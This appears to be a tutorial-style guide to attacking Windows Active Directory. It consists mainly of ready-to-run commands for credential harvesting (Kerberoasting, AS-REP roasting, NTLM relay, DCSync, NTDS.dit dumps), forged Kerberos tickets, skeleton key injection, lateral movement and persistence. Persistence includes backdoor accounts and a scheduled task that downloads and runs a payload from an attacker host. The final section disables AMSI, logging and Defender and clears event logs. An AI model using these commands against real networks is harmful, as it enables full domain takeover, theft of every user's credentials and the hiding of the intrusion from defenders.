Disclaimer: This guide is strictly for ethical hacking, CTF competitions, and authorized penetration testing only. Unauthorized use is illegal.
Part 1 — Fundamentals
Part 2 — Advanced Topics
Simple Explanation: Imagine a large company with 5,000 computers and 3,000 employees. Every employee needs access to different systems, printers, and shared folders. Managing each computer manually would be incredibly difficult. That’s where Active Directory (AD) comes in — a centralized management system that controls everything.
┌─────────────────────────────────────────────────────┐
│ DOMAIN CONTROLLER │
│ (The Brain of AD) │
│ │
│ ┌──────────┐ ┌──────────┐ ┌──────────────────┐ │
│ │ Users │ │Computers │ │Groups & Policies │ │
│ └──────────┘ └──────────┘ └──────────────────┘ │
└─────────────────────────────────────────────────────┘
│ │ │
PC-1 (User) PC-2 (Admin) Server (File Share)
| Term | Description |
|---|---|
Domain |
A logical group of computers/users (e.g., corp.local) |
Domain Controller (DC) |
The main AD server — everything is stored here |
Forest |
A collection of multiple domains |
Trust |
One domain trusts another domain |
NTDS.dit |
The main AD database file — all password hashes live here |
LDAP |
Protocol used to communicate with AD |
Kerberos |
Authentication protocol used within AD |
SPN |
Service Principal Name — identifiers for services |
GPO |
Group Policy Object — rules applied to computers/users |
OU |
Organizational Unit — like folders for organizing objects |
ACL/ACE |
Access Control List/Entry — defines permissions |
KRBTGT |
A special account that signs all Kerberos tickets |
┌─────────────────┐ ┌─────────────────┐
│ Windows Server │◄───────►│ Kali Linux │
│ (DC - AD) │ Network │ (Attacker) │
│ 192.168.1.10 │ │ 192.168.1.100 │
└─────────────────┘ └─────────────────┘
│
┌─────────────────┐
│ Windows 10/11 │
│ (Victim PC) │
│ 192.168.1.20 │
└─────────────────┘
# Impacket — Python tools for AD attacks
git clone https://github.com/fortra/impacket
cd impacket && pip3 install .
# BloodHound
sudo apt install bloodhound -y
# CrackMapExec (netexec)
pip3 install crackmapexec
# or
sudo apt install netexec -y
# Kerbrute — user enumeration and password spraying
wget https://github.com/opsec/kerbrute/releases/latest/download/kerbrute_linux_amd64
chmod +x kerbrute_linux_amd64
sudo mv kerbrute_linux_amd64 /usr/local/bin/kerbrute
# Evil-WinRM
gem install evil-winrm
# Rubeus (use on Windows)
# Download: https://github.com/GhostPack/Rubeus
# Mimikatz (use on Windows)
# Download: https://github.com/gentilkiwi/mimikatz
# Ldapdomaindump
pip3 install ldapdomaindump
# PowerView (use on Windows)
# Download: https://github.com/PowerShellMafia/PowerSploit
Golden Rule: “Understand first, attack later.” Enumeration is the most important step. What you gather here forms the foundation for all subsequent attacks.
# Find live hosts
nmap -sn 192.168.1.0/24
# Find Domain Controllers (port 389=LDAP, 88=Kerberos, 445=SMB)
nmap -p 88,389,445,3268,3269,5985 192.168.1.0/24
# Detailed scan of DC
nmap -sV -sC -p- 192.168.1.10 -oN dc_scan.txt
# Get domain info via SMB
crackmapexec smb 192.168.1.10
# Example output:
# SMB 192.168.1.10 445 DC01 [*] Windows Server 2019 (domain:CORP) (signing:True)
# ^^^^ Domain Name ^^^^
# RID brute-force to list users
crackmapexec smb 192.168.1.10 --rid-brute 10000
# Kerbrute to enumerate valid users
kerbrute userenum --dc 192.168.1.10 -d corp.local /usr/share/wordlists/users.txt
# rpcclient via null session
rpcclient -U "" -N 192.168.1.10
> enumdomusers # List all users
> enumdomgroups # List all groups
> querydominfo # Get domain info
# CrackMapExec — comprehensive enumeration
crackmapexec smb 192.168.1.10 -u 'user1' -p 'Password123' --users
crackmapexec smb 192.168.1.10 -u 'user1' -p 'Password123' --groups
crackmapexec smb 192.168.1.10 -u 'user1' -p 'Password123' --shares
crackmapexec smb 192.168.1.10 -u 'user1' -p 'Password123' --computers
# Impacket
python3 GetADUsers.py corp.local/user1:Password123 -all
LDAP (Lightweight Directory Access Protocol) is the protocol used to query data from AD. It runs on port 389 (plain) and port 636 (SSL).
Attacker Domain Controller
│ │
│── LDAP Query: "Give me all users" ──►│
│◄── Response: List of users ───────── │
│ │
# Dump the complete AD environment
ldapdomaindump -u 'corp.local\user1' -p 'Password123' 192.168.1.10
# Files generated:
# domain_users.html ← All users
# domain_computers.html ← All computers
# domain_groups.html ← All groups
# domain_policy.html ← Password policies
# Extract users with ldapsearch
ldapsearch -x -H ldap://192.168.1.10 \
-D "cn=user1,dc=corp,dc=local" \
-w 'Password123' \
-b "dc=corp,dc=local" \
"(objectClass=user)" \
sAMAccountName userPrincipalName memberOf
# Only enabled users
ldapsearch -x -H ldap://192.168.1.10 \
-D "cn=user1,dc=corp,dc=local" \
-w 'Password123' \
-b "dc=corp,dc=local" \
"(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"
# Find admin users
ldapsearch -x -H ldap://192.168.1.10 \
-D "cn=user1,dc=corp,dc=local" \
-w 'Password123' \
-b "dc=corp,dc=local" \
"(adminCount=1)" sAMAccountName
# Import PowerView
Import-Module .\PowerView.ps1
# Domain info
Get-Domain
Get-DomainController
# All users
Get-DomainUser | select samaccountname, description, lastlogondate
# Look for passwords in descriptions (admins sometimes store them there 😏)
Get-DomainUser | Where-Object {$_.description -ne $null} | select samaccountname, description
# Computers
Get-DomainComputer | select name, operatingsystem
# Groups
Get-DomainGroup | select name
Get-DomainGroupMember "Domain Admins" | select MemberName
SMB (Server Message Block) is a file sharing protocol that runs on port 445. It is very common in AD environments and is often misconfigured.
# List available shares
crackmapexec smb 192.168.1.10 -u 'user1' -p 'Password123' --shares
# Connect via smbclient
smbclient -L //192.168.1.10 -U 'corp.local\user1%Password123'
# Access a specific share
smbclient //192.168.1.10/SYSVOL -U 'corp.local\user1%Password123'
# Recursive listing
smbclient //192.168.1.10/SYSVOL -U 'corp.local\user1%Password123' -c 'recurse ON; ls'
Background: In older Windows versions, Group Policy Preferences (GPP) stored passwords in an encrypted format. However, Microsoft publicly released the encryption key — making these passwords effectively plaintext!
# Mount SYSVOL
sudo mount -t cifs //192.168.1.10/SYSVOL /mnt/sysvol \
-o username=user1,password=Password123,domain=corp.local
# Search for Groups.xml (contains GPP passwords)
find /mnt/sysvol -name "Groups.xml" 2>/dev/null
find /mnt/sysvol -name "Services.xml" 2>/dev/null
find /mnt/sysvol -name "Scheduledtasks.xml" 2>/dev/null
# Read the file — "cpassword" field contains the encrypted password
cat /mnt/sysvol/corp.local/Policies/{GUID}/Machine/Preferences/Groups/Groups.xml
# Decrypt it
gpp-decrypt 'encrypted_value_here'
Concept: When a machine tries to resolve a name that doesn’t exist in DNS, it broadcasts an LLMNR/NBT-NS request. We intercept that broadcast, send a fake response, and the victim tries to authenticate to our machine — giving us their NTLM hash.
# Step 1: Start Responder to poison LLMNR/NBT-NS
sudo python3 /usr/share/responder/Responder.py -I eth0 -wrf
# When a victim accesses an incorrect name, you'll capture:
# [SMB] NTLMv2-SSP Client : 192.168.1.20
# [SMB] NTLMv2-SSP Username : CORP\john
# [SMB] NTLMv2-SSP Hash : john::CORP:aaabbb...
# Step 2: Crack the hash
hashcat -m 5600 captured_hash.txt /usr/share/wordlists/rockyou.txt
# OR — SMB Relay (relay directly instead of cracking)
# Step 1: Check which hosts have SMB signing disabled
crackmapexec smb 192.168.1.0/24 --gen-relay-list relay_targets.txt
# Step 2: Disable SMB and HTTP in Responder config
sudo nano /etc/responder/Responder.conf
# SMB = Off, HTTP = Off
# Step 3: Start ntlmrelayx
python3 ntlmrelayx.py -tf relay_targets.txt -smb2support
# Step 4: Start Responder
sudo python3 Responder.py -I eth0 -rdw
Concept: Try one password against many usernames. Unlike brute-force (many passwords against one user), password spraying avoids account lockouts because you only try one password at a time.
❌ Brute Force: user1 → pass1, pass2, pass3... (Account gets locked)
✅ Password Spray: user1, user2, user3... → "Summer2024!" (One attempt, no lockout)
# What is the lockout threshold?
crackmapexec smb 192.168.1.10 -u 'user1' -p 'Password123' --pass-pol
# Example output:
# Minimum password length: 7
# Password history length: 24
# Maximum password age: 41 days
# Account Lockout Threshold: 5 ← Only attempt 4 times!
# Lockout duration: 30 minutes
# Via CrackMapExec
crackmapexec smb 192.168.1.10 -u 'user1' -p 'Password123' --users | \
awk '{print $5}' > users.txt
# Via Kerbrute
kerbrute userenum -d corp.local --dc 192.168.1.10 \
/usr/share/seclists/Usernames/Names/names.txt
# CrackMapExec spray
crackmapexec smb 192.168.1.10 -u users.txt -p 'Summer2024!' --continue-on-success
# Kerbrute spray (faster)
kerbrute passwordspray -d corp.local --dc 192.168.1.10 users.txt 'Summer2024!'
# Spray multiple passwords (stay under lockout threshold)
for pass in 'Summer2024!' 'Welcome1!' 'Password1'; do
echo "Spraying: $pass"
crackmapexec smb 192.168.1.10 -u users.txt -p "$pass" --continue-on-success 2>/dev/null | grep '+'
echo "Sleeping 30 minutes..."
sleep 1800 # Wait for lockout counter to reset
done
| Category | Examples |
|---|---|
| Season + Year | Summer2024!, Winter2023!, Spring2024! |
| Company name | Companyname1!, Corpname@2024 |
| Welcome formats | Welcome1!, Welcome@123 |
| Defaults | Password1!, P@ssw0rd, Admin@123 |
| Month formats | January2024!, February2024! |
Concept: In normal Kerberos authentication, a user must prove their identity (via their password) before getting an AS-REP response from the DC. Some accounts have “Pre-Authentication” disabled — meaning anyone can request their AS-REP without a password. That response contains data encrypted with the user’s password hash, which can be cracked offline.
Normal Flow:
User ──► DC: "I need a ticket" + Timestamp (encrypted with password)
DC ──► User: "Here's your ticket" (after verifying pre-auth)
AS-REP Roasting:
Attacker ──► DC: "I want user1's ticket" (no proof needed)
DC ──► Attacker: AS-REP (encrypted with user1's password) ← This is the goal!
Attacker: *Crack it offline*
# Without credentials (anonymous)
python3 GetNPUsers.py corp.local/ -no-pass -usersfile users.txt \
-format hashcat -outputfile asrep_hashes.txt
# With credentials
python3 GetNPUsers.py corp.local/user1:Password123 \
-request -format hashcat -outputfile asrep_hashes.txt
# PowerView (Windows)
Get-DomainUser -PreauthNotRequired | select samaccountname
# Hashcat (Mode 18200 = AS-REP)
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
# John
john asrep_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Hash format looks like:
# $krb5asrep$23$user1@CORP.LOCAL:1234abc...
# Find vulnerable users and dump hashes
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt
# For a specific user
.\Rubeus.exe asreproast /user:user1 /format:hashcat
Concept: Some accounts in AD have Service Principal Names (SPNs) registered (e.g., web servers, SQL servers). Any authenticated user can request Kerberos Service Tickets for these services. The ticket contains data encrypted with the service account’s password hash — which can be cracked offline.
SPN Format: ServiceType/hostname:port
Examples:
HTTP/webserver.corp.local ← Web service
MSSQLSvc/sqlserver.corp.local ← SQL Server
cifs/fileserver.corp.local ← File Share
# Impacket
python3 GetUserSPNs.py corp.local/user1:Password123 -dc-ip 192.168.1.10
# Request hashes directly
python3 GetUserSPNs.py corp.local/user1:Password123 -dc-ip 192.168.1.10 \
-request -outputfile kerb_hashes.txt
# PowerView (Windows)
Get-DomainUser -SPN | select samaccountname, serviceprincipalname
# Manual LDAP query
ldapsearch -x -H ldap://192.168.1.10 \
-D "user1@corp.local" -w 'Password123' \
-b "dc=corp,dc=local" \
"(&(objectClass=user)(servicePrincipalName=*))" \
sAMAccountName servicePrincipalName
# Hashcat (Mode 13100 = Kerberoasting)
hashcat -m 13100 kerb_hashes.txt /usr/share/wordlists/rockyou.txt --force
# John
john kerb_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
# John with rules (better results)
john kerb_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt --rules=KoreLogic
# Hash format:
# $krb5tgs$23$*sqlservice$CORP.LOCAL$MSSQLSvc/sqlserver.corp.local*$abc123...
# Roast all SPN accounts
.\Rubeus.exe kerberoast /format:hashcat /outfile:kerb_hashes.txt
# Specific account
.\Rubeus.exe kerberoast /user:sqlservice /format:hashcat
# Filter for RC4 only (AES is harder to crack)
.\Rubeus.exe kerberoast /rc4opsec /format:hashcat /outfile:kerb_hashes.txt
Concept: In Windows, a password hash works the same as the actual password for authentication purposes. So if you have a user’s NTLM hash, you can authenticate without knowing the actual password.
Normal Login: User → Password → Hash → DC verifies
Pass the Hash: Attacker → Hash (directly) → DC verifies ✓
Note: This only works with NTLMv1/v2 authentication, not Kerberos.
# Mimikatz (Windows — requires admin rights)
mimikatz # sekurlsa::logonpasswords
# Output contains NTLM hashes:
# * Username : administrator
# * NTLM : aad3b435b51404eeaad3b435b51404ee:8d969eef6ecad3c29a3a629280e686cf
# secretsdump (remotely from Linux)
python3 secretsdump.py corp.local/user1:Password123@192.168.1.10
python3 secretsdump.py corp.local/user1:Password123@192.168.1.20
# Dump SAM via Impacket
python3 secretsdump.py -sam sam.bak -system system.bak LOCAL
# CrackMapExec — network scan with hash
# Format: LM:NT or :NT (LM part is empty on modern systems)
crackmapexec smb 192.168.1.0/24 -u Administrator -H ':8d969eef6ecad3c29a3a629280e686cf'
# Evil-WinRM (WinRM port 5985)
evil-winrm -i 192.168.1.10 -u Administrator -H '8d969eef6ecad3c29a3a629280e686cf'
# Impacket psexec
python3 psexec.py -hashes ':8d969eef6ecad3c29a3a629280e686cf' Administrator@192.168.1.10
# wmiexec
python3 wmiexec.py -hashes ':8d969eef6ecad3c29a3a629280e686cf' Administrator@192.168.1.10
# smbexec
python3 smbexec.py -hashes ':8d969eef6ecad3c29a3a629280e686cf' Administrator@192.168.1.10
mimikatz # sekurlsa::pth /user:Administrator /domain:corp.local \
/ntlm:8d969eef6ecad3c29a3a629280e686cf /run:cmd.exe
# Opens a new cmd.exe running in the context of that hash
Concept: Kerberos uses authentication tickets. If you steal a user’s Kerberos ticket (TGT or TGS), you can authenticate as that user without knowing their password.
TGT (Ticket Granting Ticket):
- Issued by DC after successful authentication
- Used to request TGS tickets for services
- Encrypted with the KRBTGT account
TGS (Ticket Granting Service):
- Used to access a specific service
- Encrypted with the service account's key
# Mimikatz — dump and export tickets
mimikatz # sekurlsa::tickets /export
# Creates .kirbi files
# Rubeus
.\Rubeus.exe dump /nowrap
.\Rubeus.exe dump /luid:0x3e4 /nowrap # For a specific LUID
# View existing tickets (Windows built-in)
klist
# Mimikatz
mimikatz # kerberos::ptt ticket.kirbi
# Rubeus
.\Rubeus.exe ptt /ticket:ticket.kirbi
# For Impacket tools — convert .kirbi to .ccache format
python3 ticketConverter.py ticket.kirbi ticket.ccache
# Set environment variable
export KRB5CCNAME=/path/to/ticket.ccache
# Use with Impacket
python3 psexec.py -k -no-pass corp.local/user1@dc01.corp.local
klist # Imported ticket will appear
dir \\dc01.corp.local\C$ # If ticket is valid, access is granted
Concept: A variant of Pass the Hash. Use the NTLM hash to generate a Kerberos TGT. Useful when the target only accepts Kerberos authentication (NTLM is blocked).
# Mimikatz
mimikatz # sekurlsa::pth /user:Administrator /domain:corp.local \
/ntlm:8d969eef6ecad3c29a3a629280e686cf /run:powershell.exe
# Now request Kerberos tickets from this window
# Rubeus — get TGT directly
.\Rubeus.exe asktgt /user:Administrator /rc4:8d969eef6ecad3c29a3a629280e686cf /ptt
# /ptt injects the ticket automatically
Concept: BloodHound is a tool that stores AD relationships in a graph database and visualizes attack paths. It answers: “How do I get from a Domain User to Domain Admin?”
Domain User (john)
│
▼ [Member of]
IT Group
│
▼ [GenericAll on]
helpdesk (user)
│
▼ [AdminTo]
WS-01 (computer)
│
▼ [Has session of]
Administrator
│
▼ [Member of]
Domain Admins 🎯
# From Linux (BloodHound.py — credentials required)
python3 bloodhound.py -u user1 -p Password123 -d corp.local \
-dc 192.168.1.10 -c All --zip
# From Windows (SharpHound)
.\SharpHound.exe -c All --zipfilename output.zip
# Stealth mode
.\SharpHound.exe -c DCOnly # Only DC data
.\SharpHound.exe -c Session # Include session info
.\SharpHound.exe --Loop --LoopDuration 02:00:00 # Loop for 2 hours
# Start Neo4j database
sudo neo4j start
# Open browser: http://localhost:7474
# Default credentials: neo4j:neo4j (change on first login)
# Start BloodHound
bloodhound &
# Login with neo4j credentials, then upload the ZIP file
Built-in Queries:
Custom Cypher Queries:
// Shortest path to Domain Admins
MATCH (n:User {name: "JOHN@CORP.LOCAL"}),
(m:Group {name: "DOMAIN ADMINS@CORP.LOCAL"}),
p=shortestPath((n)-[*1..]->(m))
RETURN p
// Kerberoastable high-value accounts
MATCH (u:User {hasspn:true}) WHERE u.admincount = true RETURN u
// Users with local admin access
MATCH p=(u:User)-[:AdminTo]->(c:Computer) RETURN u.name, c.name
Concept: Every object in AD has Access Control Lists (ACLs) that define who can do what to it. If a low-privilege user has dangerous permissions on an important object, we can escalate privileges.
| Permission | What Can Be Done |
|---|---|
GenericAll |
Full control — change password, add members, etc. |
GenericWrite |
Modify object properties |
WriteOwner |
Become the owner of the object |
WriteDACL |
Grant yourself additional permissions |
ForceChangePassword |
Change password without knowing the current one |
AddMember |
Add members to a group |
AllExtendedRights |
Includes ForceChangePassword and more |
# PowerView — who has what rights on a target user
Get-ObjectAcl -SamAccountName "targetuser" -ResolveGUIDs | `
Where-Object {$_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteOwner|WriteDACL|WriteProperty"}
# Enumerate current user's rights
Find-InterestingDomainAcl -ResolveGUIDs | `
Where-Object {$_.IdentityReferenceName -match "user1"}
# BloodHound also shows these paths graphically
Scenario A: GenericAll on User — Force Password Change
$newpass = ConvertTo-SecureString 'NewPass@123' -AsPlainText -Force
Set-DomainUserPassword -Identity targetuser -AccountPassword $newpass
# Now log in as targetuser
Scenario B: GenericAll on Group — Add Yourself
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'user1'
Get-DomainGroupMember 'Domain Admins' # Verify
Scenario C: GenericWrite on User — Targeted Kerberoasting
# Add an SPN to make the user Kerberoastable
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='nonexistent/BLAH'}
# Kerberoast the user
python3 GetUserSPNs.py corp.local/user1:Password123 -dc-ip 192.168.1.10 -request
# Clean up after the attack
Set-DomainObject -Identity targetuser -Clear serviceprincipalname
Scenario D: WriteOwner — Take Object Ownership
# Make yourself the owner
Set-DomainObjectOwner -Identity targetuser -OwnerIdentity user1
# Grant yourself full rights
Add-DomainObjectAcl -TargetIdentity targetuser -PrincipalIdentity user1 -Rights All
# Now change the password
Set-DomainUserPassword -Identity targetuser `
-AccountPassword (ConvertTo-SecureString 'NewPass@123' -AsPlainText -Force)
Scenario E: DCSync Rights via WriteDACL on Domain
# Grant yourself DCSync rights on the domain
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" `
-PrincipalIdentity user1 -Rights DCSync
# Now perform a DCSync attack (see Section 15)
Concept: GPOs (Group Policy Objects) are used to apply rules to computers and users in AD. If a user has permission to modify a GPO, they can push malicious settings and execute code on all machines that GPO applies to.
# BloodHound: use "Find GPOs where..." queries
# PowerView
Get-DomainGPO | Get-ObjectAcl -ResolveGUIDs | `
Where-Object {$_.ActiveDirectoryRights -match "CreateChild|WriteProperty|GenericAll|GenericWrite"}
# List GPOs and which OUs they apply to
Get-DomainGPO | select displayname, gpcfilesyspath
Get-DomainOU | select name, gplink
# Add an immediate scheduled task (to execute code)
.\SharpGPOAbuse.exe --AddComputerTask `
--TaskName "Update" `
--Author "CORP\Administrator" `
--Command "cmd.exe" `
--Arguments "/c net user backdoor Password@123 /add && net localgroup administrators backdoor /add" `
--GPOName "Default Domain Policy"
# Assign user rights
.\SharpGPOAbuse.exe --AddUserRights `
--UserRightsToAdd "SeLoadDriverPrivilege" `
--GPOName "Default Domain Policy" `
--UserAccount user1
# Add local admin
.\SharpGPOAbuse.exe --AddLocalAdmin `
--UserAccount user1 `
--GPOName "Default Domain Policy"
Concept: Domain Controllers use the Directory Replication Service (DRS) protocol to synchronize with each other. If a user has DCSync rights (Replicating Directory Changes permissions), they can impersonate a DC and request replication data — pulling all password hashes without ever touching the DC physically.
✓ Domain Admins
✓ Enterprise Admins
✓ Domain Controllers
Via ACL grants:
✓ Any user granted WriteDACL on the domain
# Impacket secretsdump (remotely from Kali)
python3 secretsdump.py corp.local/user1:Password123@192.168.1.10 -just-dc
# Dump only a specific user's hash
python3 secretsdump.py corp.local/user1:Password123@192.168.1.10 -just-dc-user krbtgt
python3 secretsdump.py corp.local/user1:Password123@192.168.1.10 -just-dc-user Administrator
# Output:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a0288ac272aef36efa9e748327d61c22:::
mimikatz # lsadump::dcsync /domain:corp.local /all /csv
mimikatz # lsadump::dcsync /domain:corp.local /user:Administrator
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt
# Login with Administrator hash
evil-winrm -i 192.168.1.10 -u Administrator -H '31d6cfe0d16ae931b73c59d7e0c089c0'
# Or crack them
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
Concept: This is the most powerful attack in AD. Using the krbtgt account’s hash, you can forge any valid Kerberos TGT — for any user, with any permissions, with any expiry date. It is a “golden ticket” because it grants practically unlimited access.
Normal TGT Creation:
User → DC (Authenticate) → DC creates TGT (signed with krbtgt hash)
Golden Ticket:
Attacker (has krbtgt hash) → Creates FAKE TGT (valid signature) → DC accepts it! ✓
Because the DC only verifies the signature — and our signature IS valid.
krbtgt account (obtained via DCSync)# Get Domain SID
python3 getPac.py corp.local/user1:Password123@192.168.1.10
# Output: S-1-5-21-1234567890-1234567890-1234567890
# Get krbtgt hash via DCSync
python3 secretsdump.py corp.local/user1:Password123@192.168.1.10 -just-dc-user krbtgt
# krbtgt:502:aad3....:a0288ac272aef36efa9e748327d61c22:::
# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
# This is the NTLM hash — this is what you need
python3 ticketer.py \
-nthash a0288ac272aef36efa9e748327d61c22 \
-domain-sid S-1-5-21-1234567890-1234567890-1234567890 \
-domain corp.local \
-groups 512 \
Administrator
# Creates administrator.ccache
# Use it
export KRB5CCNAME=administrator.ccache
python3 psexec.py -k -no-pass corp.local/Administrator@dc01.corp.local
# Create and inject
mimikatz # kerberos::golden `
/user:Administrator `
/domain:corp.local `
/sid:S-1-5-21-1234567890-1234567890-1234567890 `
/krbtgt:a0288ac272aef36efa9e748327d61c22 `
/groups:512 `
/ptt
# /ptt injects the ticket into the current session
# Use it
dir \\dc01.corp.local\C$ # Access DC's C drive
psexec \\dc01.corp.local cmd
.\Rubeus.exe golden `
/user:Administrator `
/domain:corp.local `
/sid:S-1-5-21-1234567890-1234567890-1234567890 `
/rc4:a0288ac272aef36efa9e748327d61c22 `
/groups:512 `
/ptt
klist # Verify
⚠️ Important Notes:
- Golden Tickets are valid for 10 years by default (customizable)
- For evasion: tickets with a lifetime over 20 minutes look suspicious — keep them realistic
- To invalidate Golden Tickets, the
krbtgtpassword must be reset TWICE (due to replication)
Concept: The smaller sibling of the Golden Ticket. Instead of the krbtgt hash, you use a service account’s hash to forge a TGS (service ticket) for a specific service — without contacting the DC.
| Aspect | Golden Ticket | Silver Ticket |
|---|---|---|
| Hash Required | krbtgt |
Service Account |
| Scope | Domain-wide | Specific service only |
| DC Contact | Yes (initially) | No |
| Detectability | Easier to detect | Harder to detect |
# Via Mimikatz
mimikatz # sekurlsa::logonpasswords
# Via DCSync
python3 secretsdump.py corp.local/user1:Password123@192.168.1.10 -just-dc-user sqlservice
# For CIFS service (file access)
python3 ticketer.py \
-nthash <service_account_ntlm_hash> \
-domain-sid S-1-5-21-1234567890-1234567890-1234567890 \
-domain corp.local \
-spn cifs/fileserver.corp.local \
Administrator
# Use it
export KRB5CCNAME=Administrator.ccache
python3 smbclient.py -k -no-pass corp.local/Administrator@fileserver.corp.local
mimikatz # kerberos::golden `
/user:Administrator `
/domain:corp.local `
/sid:S-1-5-21-1234567890-1234567890-1234567890 `
/target:fileserver.corp.local `
/service:cifs `
/rc4:<service_account_hash> `
/ptt
# Common service types:
# cifs ← File share
# http ← Web service
# ldap ← LDAP (enables DCSync without DCSync rights!)
# host ← Remote tasks/WMI
# mssql ← SQL Server
Concept: A dangerous Mimikatz attack that injects a master password into the DC’s LSASS process. After this, any user can log in with either their real password or the master password (“mimikatz”). It only persists in memory — a reboot removes it.
# Requires admin access on the DC
mimikatz # privilege::debug
mimikatz # misc::skeleton
# Now any user can authenticate with "mimikatz" as their password!
crackmapexec smb 192.168.1.10 -u Administrator -p 'mimikatz'
crackmapexec smb 192.168.1.10 -u john -p 'mimikatz' # Bypasses john's real password!
Limitation: Does not survive a reboot. In multi-DC environments, only affects the targeted DC.
NTDS.dit is the main AD database stored on the DC — it contains all user hashes, group memberships, and more. Located at C:\Windows\NTDS\ntds.dit.
# Direct remote dump
python3 secretsdump.py corp.local/Administrator:Password@192.168.1.10 -just-dc
# Hashes only
python3 secretsdump.py corp.local/Administrator:Password@192.168.1.10 -just-dc-ntlm
# From an admin shell on the DC
# Create a VSS snapshot (bypasses file lock)
vssadmin create shadow /for=C:
# Copy files from the shadow copy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\Temp\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\SYSTEM
# Clean up
vssadmin delete shadows /shadow={GUID} /quiet
# From the DC
ntdsutil "ac i ntds" "ifm" "create full C:\Temp\ntds_dump" q q
# Copy files to Kali and parse
python3 secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL \
-outputfile all_hashes.txt
# Output:
# Administrator:500:aad3...:31d6cfe0d16ae931b73c59d7e0c089c0:::
# krbtgt:502:aad3...:a0288ac272aef36efa9e748327d61c22:::
# Crack all NTLM hashes
hashcat -m 1000 all_hashes.txt /usr/share/wordlists/rockyou.txt --force
Concept: Moving from one machine to another — spreading across the network after gaining an initial foothold.
# Impacket psexec
python3 psexec.py corp.local/Administrator:Password123@192.168.1.20
# With a hash
python3 psexec.py -hashes ':31d6cfe0d16ae931b73c59d7e0c089c0' Administrator@192.168.1.20
# CrackMapExec
crackmapexec smb 192.168.1.20 -u Administrator -p Password123 -x "whoami"
# wmiexec
python3 wmiexec.py corp.local/Administrator:Password123@192.168.1.20
# CrackMapExec
crackmapexec wmi 192.168.1.20 -u Administrator -p Password123 -x "whoami"
# Evil-WinRM
evil-winrm -i 192.168.1.20 -u Administrator -p Password123
# With a hash
evil-winrm -i 192.168.1.20 -u Administrator -H '31d6cfe0d16ae931b73c59d7e0c089c0'
# Windows PowerShell
Enter-PSSession -ComputerName WS-01 -Credential corp\Administrator
# Impacket dcomexec
python3 dcomexec.py corp.local/Administrator:Password123@192.168.1.20 "whoami"
# Available objects: MMC20.Application, ShellWindows, ShellBrowserWindow
python3 dcomexec.py corp.local/Admin:Pass@192.168.1.20 "cmd.exe /c whoami" -object MMC20
# Find existing RDP sessions
query session /server:192.168.1.20
# Hijack a session as admin
tscon <SESSION_ID> /dest:console /password:* /v
# Metasploit Incognito module
use incognito
list_tokens -u
impersonate_token "CORP\Administrator"
# Windows
.\Incognito.exe list_tokens -u
.\Incognito.exe execute -c "CORP\Administrator" cmd.exe
Concept: Ensuring you can regain access even if your original session is lost.
net user backdoor P@ssw0rd! /add /domain
net group "Domain Admins" backdoor /add /domain
Add-ADGroupMember -Identity "Domain Admins" -Members "existinguser"
AdminSDHolder is a special AD object whose ACL is periodically applied to all protected groups. If you grant yourself rights on AdminSDHolder, those rights are automatically applied to Domain Admins every hour.
# Grant rights on AdminSDHolder
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" `
-PrincipalIdentity user1 -Rights All
# After 60 minutes, SDProp runs and user1 gets rights on all protected accounts
# Trigger manually:
Invoke-ADSDPropagation # PowerView function
schtasks /create /tn "WindowsUpdate" `
/tr "powershell.exe -c 'IEX(New-Object Net.WebClient).DownloadString(\"http://attacker/payload.ps1\")'" `
/sc DAILY /st 09:00 /ru SYSTEM /s 192.168.1.20 /u Administrator /p Password123
crackmapexec smb 192.168.1.20 -u Administrator -p Password123 -x `
"reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Updater /t REG_SZ /d 'C:\backdoor.exe' /f"
Diamond Tickets are an improved version of Golden Tickets — they modify an actual TGT instead of forging one from scratch, making them look more legitimate.
.\Rubeus.exe diamond `
/krbkey:<aes256_krbtgt_key> `
/user:user1 `
/password:Password123 `
/enctype:aes `
/ticketuser:Administrator `
/ptt
Concept: Avoiding detection and confusing Blue Team monitoring tools.
# Disable AMSI
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Alternative
$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b=$a.GetField('amsiContext','NonPublic,Static')
$c=$b.GetValue($null)
[Runtime.InteropServices.Marshal]::WriteInt32($c,0x41424344)
[System.Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue(
[Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),
0
)
# ScriptBlock Logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" `
-Name "EnableScriptBlockLogging" -Value 0
# Module Logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" `
-Name "EnableModuleLogging" -Value 0
# Exclude a specific path
Add-MpPreference -ExclusionPath "C:\Temp"
# Disable real-time protection
Set-MpPreference -DisableRealtimeMonitoring $true
# Clear all event logs
Get-EventLog -List | ForEach-Object { Clear-EventLog -LogName $_.Log }
# Clear specific logs
wevtutil cl System
wevtutil cl Security
wevtutil cl Application
| ✅ DO | ❌ DON’T |
|---|---|
